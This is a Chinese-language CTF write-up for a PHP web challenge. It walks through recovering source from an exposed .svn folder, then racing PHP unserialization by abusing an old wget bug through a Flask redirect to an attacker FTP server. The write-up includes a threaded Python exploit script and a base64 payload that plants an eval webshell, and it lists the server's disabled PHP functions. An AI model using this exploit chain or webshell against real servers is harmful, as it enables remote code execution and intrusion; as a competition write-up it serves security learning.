pwnhub_another php web部分

周末不是太有时间,所以就没怎么打pwnhub,后来快结束的时候完成了web部分,这里贴上web部分的wp吧

开始没啥可说的,应该是用来当一些咸鱼的吧,index.php~

image_1bafa2nvpl7hl7n14d71sjk4g3m.png-15.1kB

登陆框,验证码很普通的,没啥可说的,试了试没啥可玩的,那就扫目录,找到了.svn

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http://52.80.32.116/2d9bc625acb1ba5d0db6f8d0c8b9d206/.svn/
400

跑脚本拖源码报错了,搜了搜好像是拖的数据库报错了,所以手动看看,好像是内容被改过了

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http://52.80.32.116/2d9bc625acb1ba5d0db6f8d0c8b9d206/.svn/wc.db
Myname:Pwnhub{6666666flag}
havefun:)
用户名和密码相同
The a9b4d7cc810da015142f61f7e236d50b.php:)Welcome Pwnhub{6666666flag}

image_1bad45g037c73iessr9qgp4u9.png-33.2kB

源码是phpjm加密,没啥可说的,直接工具解

http://tool.lu/php/

拿到源码

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<?php
error_reporting(E_ALL);
$firesun_path = '';
class Pwnhub
{
function __wakeup()
{
if (isset($_GET['pwnhub']) == "firesun") {
echo "Hacked by Firesun!";
eval(base64_decode($_POST['pwnhub']));
}
}
}
function pwnhubfile()
{
global $firesun_path;
file_put_contents($firesun_path . '/firesun', serialize($_SESSION));
}
session_start();
register_shutdown_function('pwnhubfile');
function set_context($id)
{
global $_SESSION, $firesun_path;
$firesun_path = '/var/www/data/' . $id;
if (!is_dir($firesun_path)) {
mkdir($firesun_path);
}
chdir($firesun_path);
if (!is_file('firesun')) {
$_SESSION = array();
} else {
$_SESSION = unserialize(file_get_contents('firesun'));
}
}
function download_image($url)
{
$url = parse_url($origUrl = $url);
if (isset($url['scheme']) && $url['scheme'] == 'http') {
if ($url['path'] == '/pwnhub.png') {
if (isset($url['query'])) {
die('byebyebye');
}
wget_wrapper($origUrl);
echo "Nice:)";
} else {
echo 'sorry!';
}
}
}
if (!isset($_SESSION['id'])) {
$sessId = bin2hex(openssl_random_pseudo_bytes(10));
$_SESSION['id'] = $sessId;
} else {
$sessId = $_SESSION['id'];
}
session_write_close();
set_context($sessId);
if (isset($_POST['image'])) {
$p = $_POST['image'];
if (stripos($p, 'php')) {
echo 'wow!!!';
die('byebye');
}
download_image($p);
echo '<img src="pwnhub.jpg" width=184 height=200/>';
} else {
die('no image:(');
}
?>
<!-- pwnhubs0urcec0d3.zip -->
<?php

关键问题在于怎么控制firesun文件内容….

我们看看提示

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2017.03.04 21:20:00wget_wrapper就是wget,不要想着在url上做文章进行命令执行,过滤很严,wget版本较低,wget版本较低,wget版本较低,重要的话说三遍

根据提示和源码,我们发现是SECUINSIDE CTF Quals 2016 - Trendyweb改的,然后找到wget漏洞CVE-2016-4971,发现一篇wp

http://quanyang.github.io/secuinside-ctf-quals-2016-trendyweb/

根据wp自己研究发现简单的方式被和谐了,所以只能竞争解决问题。

这里稍微梳理下竞争逻辑:

1、访问的时候会生成独有的sessionid,并执行set_context($sessId);,获取firesun文件内容。

2、在第一次请求结束后,pwnhubfile会执行生成firesun

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function pwnhubfile()
{
global $firesun_path;
file_put_contents($firesun_path . '/firesun', serialize($_SESSION));
}
register_shutdown_function('pwnhubfile');

但最重要的问题wget是不能覆盖文件的,如果wget相同文件名的,会出现firesun.1。

也就是说第一次请求结束还没能反序列化成功,就代表这里失败了。

所以我们每个sessionid只能使用一次,这里需要一个成熟的多线程脚本。

先配个线上环境,开一个flask加个跳转至ftp

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#!/usr/bin/env python
from flask import Flask, redirect
app = Flask(__name__)
@app.route("/pwnhub.png")
def test():
return redirect("ftp://119.29.192.14/firesun")
if __name__ == "__main__":
app.run(host="0.0.0.0",port=8082)

然后另一个地方开个ftp,端口设为默认21

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sudo python -m pyftpdlib -p 21

目录下写个firesun

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O:6:"Pwnhub":0:{}

多线程脚本

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import requests
import threading
import time
from random import Random
url = "http://52.80.32.116/2d9bc625acb1ba5d0db6f8d0c8b9d206/a9b4d7cc810da015142f61f7e236d50b.php"
def down(cookie):
data = {'image': 'http://119.29.192.14:8082/pwnhub.png'}
r = requests.post(url, data = data, cookies=cookie)
def ri(cookie):
s = requests.Session()
data = {'pwnhub': 'ZmlsZV9wdXRfY29udGVudHMoIi92YXIvd3d3L2h0bWwvMmQ5YmM2MjVhY2IxYmE1ZDBkYjZmOGQwYzhiOWQyMDYvaW1hZ2UvZGRvZ2UucGhwIiwgYmFzZTY0X2RlY29kZSgiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTWwwcE96OCsiKSk7'}
r = s.post(url + "?pwnhub=firesun", data = data, cookies=cookie)
if "Hacked by Firesun" in r.text:
print r.text
def random_str(randomlength=8):
str = ''
chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
length = len(chars) - 19
random = Random()
for i in range(randomlength):
str+=chars[random.randint(0, length)]
return str
for i in range(0,10000):
session = random_str(26)
cookie = {'PHPSESSID': session}
threading.Thread(target = down,args = (cookie,)).start()
threading.Thread(target = ri,args = (cookie,)).start()

能成功,但是几率不高,我们把shell写入到image/下

踩了个蜜汁坑,base64_decode过后会把<?php ?>中间的东西省略掉…所以又加了一层。

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<?php eval($_POST[2]);?
file_put_contents("/var/www/html/2d9bc625acb1ba5d0db6f8d0c8b9d206/image/ddoge.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMl0pOz8+"));
ZmlsZV9wdXRfY29udGVudHMoIi92YXIvd3d3L2h0bWwvMmQ5YmM2MjVhY2IxYmE1ZDBkYjZmOGQwYzhiOWQyMDYvaW1hZ2UvZGRvZ2UucGhwIiwgYmFzZTY0X2RlY29kZSgiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTWwwcE96OCsiKSk7

很多函数都过滤了,所以只有eval的webshell

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exec,passthru,shell_exec,assert,glob,imageftbbox,bindtextdom,dir,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,symlink,chgrp,chmod,chown,dl,mail,readlink,stream_socket_server,fsocket,imap_mail,apache_child_terminate,posix_kill,proc_terminate,proc_get_status,syslog,openlog,ini_alter,chroot,fread,fgets,fgetss,file,readfile,ini_set,ini_restore,putenv,apache_setenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,fpassthru,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,fputs,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,highlight_file,show_source,copy,system,

image_1baf7qq8413qm1l5j8ff1dnn9u39.png-84.9kB

听ven师傅说后面是pwn php,我就不自寻死路了,就到这里

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